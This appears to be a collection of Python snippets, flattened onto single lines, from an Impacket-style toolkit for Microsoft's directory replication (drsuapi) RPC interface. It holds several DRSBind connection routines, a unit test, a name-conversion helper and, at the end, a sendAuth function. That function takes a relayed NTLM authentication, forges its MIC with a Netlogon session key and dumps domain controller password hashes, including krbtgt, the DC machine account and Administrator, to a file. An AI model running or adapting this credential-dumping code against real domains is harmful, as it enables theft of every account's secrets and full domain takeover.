def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding ) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax = self.ts) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) - 4 drs['dwFlags'] = 0 drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0x1234 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 0 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = dce.request(request) return dce, rpctransport, resp['phDrs']
def bind(self, dce): request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 0 request['pextClient']['cb'] = len(drs.getData()) request['pextClient']['rgb'] = list(drs.getData()) resp = dce.request(request) # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs.getData()) request['pextClient']['rgb'] = list(drs.getData()) resp = dce.request(request) resp2 = drsuapi.hDRSDomainControllerInfo(dce, resp['phDrs'], self.domain, 2) return resp['phDrs'], resp2['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
def connect(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax=self.ts) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 0 request['pextClient']['cb'] = len(drs.getData()) request['pextClient']['rgb'] = list(drs.getData()) resp = dce.request(request) # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs.getData()) request['pextClient']['rgb'] = list(drs.getData()) resp = dce.request(request) resp2 = drsuapi.hDRSDomainControllerInfo(dce, resp['phDrs'], self.domain, 2) return dce, rpctransport, resp['phDrs'], resp2['pmsgOut']['V2'][ 'rItems'][0]['NtdsDsaObjectGuid']
def __connectDrds(self): stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpc = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*(self.__smbConnection.getCredentials())) rpc.set_kerberos(self.__doKerberos) self.__drsr = rpc.get_dce_rpc() self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.__doKerberos: self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__drsr.connect() self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = self.__drsr.request(request) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSBind() answer') resp.dump() self.__hDrs = resp['phDrs'] # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSDomainControllerInfo() answer') resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0][ 'NtdsDsaObjectGuid'] else: logging.error("Couldn't get DC info for domain %s" % self.__domainName) raise Exception('Fatal, aborting')
def test_DRSBind(self): dce, rpctransport, _,_ = self.connect() request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) - 4 drs['dwFlags'] = 0 drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0x1234 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 0 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = dce.request(request) resp.dump() extension = drsuapi.DRS_EXTENSIONS_INT('\x00'*4 + ''.join(resp['ppextServer']['rgb'])+'\x00'*4) extension.dump()
def convert_sidtont4(self, sid): # We get a DRS handle, shamelessly stolen from secretsdump.py request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) hdrs = self._rpc_connection.request(request)['phDrs'] resp = drsuapi.hDRSCrackNames(self._rpc_connection, hdrs, 0x0, 11, 2, (sid,)) return resp['pmsgOut']['V1']['pResult']['rItems'][0]['pName']
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) auth_data = respToken2['ResponseToken'] else: auth_data = authenticateMessageBlob remoteOps = None try: signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) # Something failed if signingkey == 0: return self.session.set_session_key(signingkey) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(auth_data) # Recalc mic authenticateMessage['MIC'] = b'\x00' * 16 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL newmic = ntlm.hmac_md5( signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData()) authenticateMessage['MIC'] = newmic self.session.sendBindType3(authenticateMessage.getData()) # Now perform DRS bind # This code comes from secretsdump directly request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID # I'm uber potential (c) Ben drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) # Initialize remoteoperations if self.serverConfig.smbuser != '': smbConnection = SMBConnection(self.target.netloc, self.target.netloc) smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ self.serverConfig.smblmhash, self.serverConfig.smbnthash) remoteOps = RemoteOperations(smbConnection, False) else: remoteOps = PatchedRemoteOperations(None, False) # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again LOG.debug( "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt['dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) remoteOps._RemoteOperations__hDrs = resp['phDrs'] domainName = authenticateMessage['domain_name'].decode('utf-16le') # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo( self.session, remoteOps._RemoteOperations__hDrs, domainName, 2) # LOG.debug('DRSDomainControllerInfo() answer') # resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[ 'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: LOG.error("Couldn't get DC info for domain %s" % domainName) raise Exception('Fatal, aborting') remoteOps._RemoteOperations__drsr = self.session # Initialize NTDSHashes object if self.serverConfig.smbuser != '': # We can dump all :) nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=None, printUserStatus=False) nh.dump() else: # Most important, krbtgt nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/krbtgt', printUserStatus=False) nh.dump() # Also important, DC hash (to sync fully) av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/' + serverName + '$', printUserStatus=False) nh.dump() # Finally, builtin\Administrator providing it was not renamed try: nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/Administrator', printUserStatus=False) nh.dump() except Exception: LOG.error('Could not dump administrator (renamed?)') return None, STATUS_SUCCESS except Exception as e: traceback.print_exc() finally: if remoteOps is not None: remoteOps.finish()